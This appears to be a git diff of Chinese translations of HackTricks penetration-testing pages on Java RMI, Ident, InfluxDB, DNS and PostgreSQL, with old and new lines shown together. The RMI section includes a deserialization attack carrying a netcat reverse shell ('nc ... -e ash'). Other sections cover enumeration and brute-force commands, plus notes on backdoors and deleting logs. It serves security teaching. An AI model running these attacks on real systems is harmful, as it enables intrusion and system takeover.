不幸的是_Java RMI_ 不支持枚举 _远程对象_ 上的方法。尽管如此,可以使用诸如 [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) 或 [rmiscout](https://github.com/BishopFox/rmiscout) 等工具来强制破解方法签名:
```
$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
@ -195,7 +195,7 @@ $ rmg guess 172.17.0.2 9010
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)
```
或者您可以像这样执行反序列化攻击:
或者您可以执行类似这样的反序列化攻击:
```
$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
@ -218,18 +218,18 @@ Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)
```
更多信息可以在以下文章中找到:
以下文章中可以找到更多信息
- [在 JEP 290 之后攻击 Java RMI 服务](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)
- [方法猜测](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md)
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
- [rmiscout](https://bishopfox.com/blog/rmiscout)
* [在JEP 290之后攻击Java RMI服务](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)
* [方法猜测](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md)
* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
* [rmiscout](https://bishopfox.com/blog/rmiscout)
除了猜测之外,您还应该在搜索引擎或 GitHub 中查找遇到的 RMI 服务的接口甚至实现。这里的绑定名称和实现类或接口的名称可能会有所帮助。
除了猜测之外您还应该在搜索引擎或GitHub中查找遇到的RMI服务的接口甚至实现。这里的绑定名称和实现类或接口的名称可能会有所帮助。
## 已知接口
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) 如果在工具的已知 RMI 服务内部数据库中列出了类或接口,则将其标记为 `known`。在这些情况下,您可以使用 `known` 操作来获取有关相应 RMI 服务的更多信息:
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)会将类或接口标记为`known`如果它们在该工具的已知RMI服务的内部数据库中列出。在这些情况下您可以使用`known`操作来获取有关相应RMI服务的更多信息:
```
$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
@ -301,6 +301,8 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
## 参考资料
* [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
## HackTricks 自动命令
```
Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
@ -311,24 +313,24 @@ Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}
```
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 可轻松构建和**自动化**由全球**最先进**的社区工具驱动的工作流程。\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建并由全球**最先进**的社区工具驱动的**自动化工作流程**。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -9,12 +9,12 @@
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注我们**
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注**我们。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 可以轻松构建和**自动化工作流程**,使用世界上**最先进**的社区工具。\
立即获取访问权限:
@ -25,7 +25,7 @@
**Ident 协议**用于在**互联网**上将**TCP 连接**与特定用户关联起来。最初设计用于帮助**网络管理**和**安全**,它通过允许服务器在端口 113 上查询客户端来请求有关特定 TCP 连接用户的信息。
然而,由于现代隐私问题和潜在的滥用可能,其使用已减少,因为它可能无意中向未经授权的方提供用户信息。建议采取增强的安全措施,如加密连接和严格的访问控制,以减轻这些风险。
然而,由于现代隐私问题和潜在的滥用可能,其使用已减少,因为它可能无意中向未经授权的方提供用户信息。建议采取增强的安全措施,如加密连接和严格的访问控制,以减轻这些风险。
**默认端口:**113
```
@ -36,7 +36,7 @@ PORT STATE SERVICE
### **手动 - 获取用户/识别服务**
如果一台机器正在运行 ident 和 samba (445) 服务,并且你通过端口 43218 连接到 samba。你可以通过以下方式获取运行 samba 服务的用户:
如果一台机器正在运行 ident 和 samba 服务445 端口),而你通过 43218 端口连接到 samba。你可以通过以下方式获取运行 samba 服务的用户:
![](<../.gitbook/assets/image (15) (1) (1).png>)
@ -50,7 +50,7 @@ PORT STATE SERVICE
### Nmap
默认情况下 (\`-sC\`)nmap 将识别每个运行端口的每个用户:
默认情况下\`-sC\`nmap 将识别每个运行端口的每个用户:
```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3p2 Debian 9 (protocol 2.0)
@ -85,14 +85,14 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
identd.conf
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 轻松构建并**自动化**由全球**最先进**的社区工具驱动的工作流。\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)轻松构建和**自动化**由全球**最先进**的社区工具驱动的工作流。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## HackTricks 自动命令
## HackTricks自动命令
```
Protocol_Name: Ident #Protocol Abbreviation if there is one.
Port_Number: 113 #Comma separated if there is more than one.

View file

@ -1,22 +1,22 @@
# 8086 - Pentesting InfluxDB
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 来轻松构建和**自动化工作流**,利用世界上**最先进**的社区工具。\
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 来轻松构建和**自动化工作流**,利用世界上**最先进**的社区工具。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式:
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注我们**。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
@ -55,7 +55,7 @@ influx username influx password influx_pass
#### 显示数据库
找到的数据库是 `telegraf``internal`(你会在各处找到这个)。
找到的数据库是 `telegraf``internal`(你会在任何地方找到这个)。
```bash
> show databases
name: databases
@ -66,7 +66,7 @@ _internal
```
#### 显示表/测量
[**InfluxDB文档**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting\_started/)解释说在InfluxDB中**测量**可以与SQL表并行。这些**测量**的命名方式表明了它们各自内容的特点,每个都包含与特定实体相关的数据。
[**InfluxDB文档**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting\_started/)解释说在InfluxDB中**测量**可以与SQL表并行。这些**测量**的命名方式表明了它们各自内容的相关性,每个都包含与特定实体相关的数据。
```bash
> show measurements
name: measurements
@ -116,7 +116,7 @@ time cpu host usage_guest usage_guest_nice usage_idle
1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101
```
{% hint style="warning" %}
在进行身份验证绕过测试时,注意表名需要用双引号括起来,例如:`select * from "cpu"`
在进行身份验证绕过测试时,注意表名需要用双引号括起来,例如:`select * from "cpu"`
{% endhint %}
### 自动化身份验证
@ -125,9 +125,9 @@ msf6 > use auxiliary/scanner/http/influxdb_enum
```
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
其他支持HackTricks的方式
支持HackTricks的其他方式:
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
@ -137,10 +137,10 @@ msf6 > use auxiliary/scanner/http/influxdb_enum
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**由全球**最先进**的社区工具驱动。\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**利用世界上**最先进**的社区工具。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -1,4 +1,4 @@
# 53 - DNS 渗透测试
# 53 - 渗透测试 DNS
<details>
@ -6,23 +6,23 @@
支持 HackTricks 的其他方式:
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注**我们。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details>
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
**即时提供的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,拥有 20 多种工具和功能,从侦察到报告。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块,让他们有更多时间深入挖掘、弹出 shell 并享受乐趣。
**即时可用的漏洞评估和渗透测试设置**。使用 20 多种工具和功能从侦察到报告运行完整的渗透测试。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块,让他们有更多时间深入挖掘、弹出 shell 并享受乐趣。
{% embed url="https://pentest-tools.com/" %}
## **基本信息**
**域名系统DNS** 充当互联网的目录,允许用户通过易记的域名(如 google.com 或 facebook.com访问网站而不是数字的互联网协议IP地址。通过将域名翻译为 IP 地址DNS 确保 Web 浏览器可以快速加载互联网资源,简化我们在线世界中的导航。
**域名系统DNS** 充当互联网的目录,允许用户通过易记的域名(如 google.com 或 facebook.com访问网站而不是数字的互联网协议IP地址。通过将域名翻译为 IP 地址DNS 确保 Web 浏览器可以快速加载互联网资源,简化我们在线世界中的导航方式
**默认端口:** 53
```
@ -35,7 +35,7 @@ PORT STATE SERVICE REASON
* **DNS根服务器**位于DNS层次结构的顶部管理顶级域并仅在较低级别服务器不响应时介入。互联网名称分配机构**ICANN**监督它们的运作全球共有13个。
* **权威域名服务器**:这些服务器对其指定区域的查询拥有最终决定权,提供明确的答案。如果它们无法提供响应,查询将升级到根服务器。
* **非权威域名服务器**这些服务器没有对DNS区域的所有权它们通过查询其他服务器收集域信息。
* **非权威域名服务器**这些服务器没有对DNS区域的所有权它们通过查询其他服务器收集域信息。
* **缓存DNS服务器**:这种类型的服务器会记住先前查询的答案一段时间,以加快未来请求的响应时间,缓存持续时间由权威服务器决定。
* **转发服务器**:扮演简单角色,转发服务器只是将查询转发到另一个服务器。
* **解析器**:集成在计算机或路由器中,解析器在本地执行名称解析,不被视为权威。
@ -44,14 +44,14 @@ PORT STATE SERVICE REASON
### **横幅抓取**
DNS中没有横幅但您可以取`version.bind. CHAOS TXT`的魔术查询这将适用于大多数BIND域名服务器。\
DNS中没有横幅但您可以取`version.bind. CHAOS TXT`的魔术查询这将适用于大多数BIND域名服务器。\
您可以使用`dig`执行此查询:
```bash
dig version.bind CHAOS TXT @DNS
```
此外,工具[`fpdns`](https://github.com/kirei/fpdns)也可以对服务器进行指纹识别。
还可以使用**nmap**脚本获取横幅信息
还可以使用**nmap**脚本获取横幅:
```
--script dns-nsid
```
@ -61,9 +61,9 @@ dig version.bind CHAOS TXT @DNS
```bash
dig any victim.com @<DNS_IP>
```
### 区域传输
### **区域传送**
该过程简称为`异步完整传区域``AXFR`)。
该过程简称为`异步完整传区域``AXFR`)。
```bash
dig axfr @<DNS_IP> #Try zone transfer without domain
dig axfr @<DNS_IP> <DOMAIN> #Try zone transfer guessing the domain
@ -112,14 +112,14 @@ dnsrecon -r <IP_DNS>/24 -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer
```
{% hint style="info" %}
如果您能找到解析为内部IP地址的子域,您应尝试对该IP范围进行反向DNS BF向该域的NSs请求。
如果您能找到解析为内部IP地址的子域您应尝试对该IP范围进行反向DNS BF向该域的NSs请求。
{% endhint %}
另一个执行此操作的工具:[https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
您可以查询反向IP范围[https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns)此工具在BGP方面也很有帮助
您可以查询反向IP范围[https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns)此工具在BGP方面也很有帮助
### DNS - 子域BF
### DNS - 子域BF
```bash
dnsenum --dnsserver <IP_DNS> --enum -p 0 -s 0 -o subdomains.txt -f subdomains-1000.txt <DOMAIN>
dnsrecon -D subdomains-1000.txt -d <DOMAIN> -n <IP_DNS>
@ -146,20 +146,20 @@ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal
```
### IPv6
使用“AAAA”请求进行暴力破解以收集子域的IPv6地址。
使用"AAAA"请求进行暴力破解以收集子域的IPv6地址。
```bash
dnsdict6 -s -t <domain>
```
## 使用 IPv6 地址进行反向 DNS 暴力破解
Reverse DNS 暴力破解是一种常见的渗透测试技术,用于查找与给定 IPv6 地址关联的域名。
Bruteforce reverse DNS in using IPv6 addresses
```bash
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
```
### DNS递归DDoS
如果**启用了DNS递归**,攻击者可以**伪造**UDP数据包中的**源**,以便使**DNS将响应发送到受害者服务器**。攻击者可以滥用**ANY**或**DNSSEC**记录类型,因为它们通常会产生更大的响应。\
检查DNS是否支持**递归**的方法是查询一个域名,然后**检查**响应中是否包含标志"ra"_递归可用_
如果**启用了DNS递归**,攻击者可以**伪造**UDP数据包中的**源**,以便使**DNS将响应发送到受害者服务器**。攻击者可以滥用**ANY**或**DNSSEC**记录类型,因为它们通常具有更大的响应。\
检查DNS是否支持**递归**的方法是查询一个域名,并**检查**响应中是否有**标志"ra"**_递归可用_
```bash
dig google.com A @<IP>
```
@ -171,15 +171,15 @@ dig google.com A @<IP>
![](<../.gitbook/assets/image (276).png>)
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
**即时提供漏洞评估和渗透测试设置**。从侦察到报告使用20多种工具和功能运行完整的渗透测试。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块为他们节省时间深入挖掘、弹出shell并享受乐趣。
**即时提供漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试具备20多种工具和功能从侦察到报告。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块为他们节省时间深入挖掘、弹出shell并享受乐趣。
{% embed url="https://pentest-tools.com/" %}
### 发送到不存在账户的邮件
通过检查由发送到目标域中无效地址的电子邮件触发的非投递通知NDN通常会披露有价值的内部网络详细信息。
通过检查发送到目标域中无效地址的电子邮件引发的非投递通知NDN通常会披露有价值的内部网络详细信息。
提供的非投递报告包括以下信息:
@ -219,7 +219,7 @@ host.conf
/etc/bind/named.conf.log
/etc/bind/*
```
在配置Bind服务器时的危险设置
危险的设置配置Bind服务器时
| **选项** | **描述** |
| ----------------- | ------------------------------------------------------------------------------ |
@ -286,7 +286,7 @@ Description: DNS enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; set RPORT 53; run; exit' && msfconsole -q -x 'use auxiliary/gather/enum_dns; set RHOSTS {IP}; set RPORT 53; run; exit'
```
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
**立即提供漏洞评估和渗透测试设置**。从侦察到报告使用20多种工具和功能运行完整的渗透测试。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块为他们节省时间深入挖掘、弹出shell并享受乐趣。
@ -294,14 +294,14 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,6 +1,6 @@
# 5432,5433 - 渗透测试 PostgreSQL
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 可轻松构建并通过世界上**最先进**的社区工具**自动化工作流程**。\
@ -16,9 +16,9 @@
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注**我们
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注我们**。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details>
@ -26,7 +26,7 @@
**PostgreSQL** 被描述为一种**面向对象的关系型数据库系统**,是**开源**的。该系统不仅使用 SQL 语言,还通过附加功能增强了它。其功能使其能够处理各种数据类型和操作,使其成为开发人员和组织的多功能选择。
**默认端口:**5432如果此端口已被使用似乎 PostgreSQL 将使用下一个未使用的端口(可能是 5433
**默认端口:**5432如果此端口已被使用似乎 postgresql 将使用下一个未使用的端口(可能是 5433
```
PORT STATE SERVICE
5432/tcp open pgsql
@ -72,7 +72,7 @@ SELECT * FROM pg_extension;
\s
```
{% hint style="warning" %}
如果运行 **`\list`** 命令发现一个名为 **`rdsadmin`** 的数据库,那么你就知道你在一个 **AWS postgresql数据库**
如果运行 **`\list`** 命令发现一个名为 **`rdsadmin`** 的数据库,那么你就知道你在一个 **AWS postgresql数据库** 内。
{% endhint %}
要了解更多关于**如何滥用PostgreSQL数据库**的信息,请查看:
@ -120,58 +120,71 @@ the server terminated abnormally before or while processing the request
1. **Banner Grabbing**: Use tools like `nc` or `telnet` to connect to the PostgreSQL service and grab the banner to identify the version running.
2. **Nmap Scripts**: Nmap has scripts specifically designed for PostgreSQL enumeration. Use them to gather information about the database service.
2. **Nmap Scripts**: Nmap has scripts specifically designed for PostgreSQL enumeration. Use the following command:
```bash
nmap -p 5432 --script postgresql-* <target>
```
### Brute Forcing
1. **Default Credentials**: Always try default credentials like `postgres:postgres` or `postgres:password` to check if the service is using them.
2. **Password Guessing**: Use tools like `Hydra` or `Patator` to perform password guessing attacks against the PostgreSQL service.
3. **Manual Connection**: Use `psql` to manually connect to the PostgreSQL service and gather information about the databases and users.
### Exploitation
1. **Metasploit**: Metasploit has modules for PostgreSQL exploitation. Use them to gain access to the database service.
1. **Default Credentials**: Check for default credentials like `postgres:postgres` or weak credentials in use.
2. **SQL Injection**: Look for SQL injection vulnerabilities in web applications that interact with the PostgreSQL database.
2. **SQL Injection**: Exploit SQL injection vulnerabilities in web applications connected to the PostgreSQL database.
3. **Privilege Escalation**: Look for ways to escalate privileges within the PostgreSQL service or the underlying operating system.
### Post-Exploitation
1. **Dumping Data**: Use tools like `pg_dump` to dump the database contents for further analysis.
1. **Dumping Data**: Use tools like `pg_dump` to dump the contents of databases for further analysis.
2. **Privilege Escalation**: Look for ways to escalate privileges within the PostgreSQL database to gain more control over the service.
2. **Creating Backdoors**: Create backdoors for persistent access to the PostgreSQL service.
3. **Covering Tracks**: Remove evidence of the attack by deleting logs and other traces of unauthorized access.
### Countermeasures
1. **Strong Credentials**: Always use strong, unique passwords for PostgreSQL accounts.
2. **Regular Updates**: Keep the PostgreSQL server updated with the latest security patches to prevent exploitation of known vulnerabilities.
3. **Network Segmentation**: Implement network segmentation to restrict access to the PostgreSQL service from unauthorized users.
```
```
DETAIL: FATAL: password authentication failed for user "name"
```
* 端口是打开的或被过滤的
* 端口是开的或被过滤的
```
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
在PL/pgSQL函数中目前无法获取异常详细信息。但是如果您可以直接访问PostgreSQL服务器则可以检索所需的信息。如果从系统表中提取用户名和密码不可行您可以考虑使用前一节讨论的字典攻击方法因为这可能会产生积极的结果。
## 特权枚举
### 角色
| 角色类型 | |
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
| rolsuper | 角色具有超级用户特权 |
| rolinherit | 角色自动继承其成员角色的特权 |
| rolcreaterole | 角色可以创建更多角色 |
| rolcreatedb | 角色可以创建数据库 |
| rolcanlogin | 角色可以登录。也就是说,此角色可以作为初始会话授权标识符 |
| rolreplication | 角色是复制角色。复制角色可以启动复制连接并创建和删除复制插槽。 |
| rolconnlimit | 对于可以登录的角色,设置此角色可以进行的并发连接的最大。-1表示无限制。 |
| rolpassword | 不是密码(始终显示为`********` |
| rolvaliduntil | 密码过期时间(仅用于密码身份验证);如果没有到期则为null |
| rolbypassrls | 角色绕过每个行级安全策略,请参阅[Section 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)获取更多信息。 |
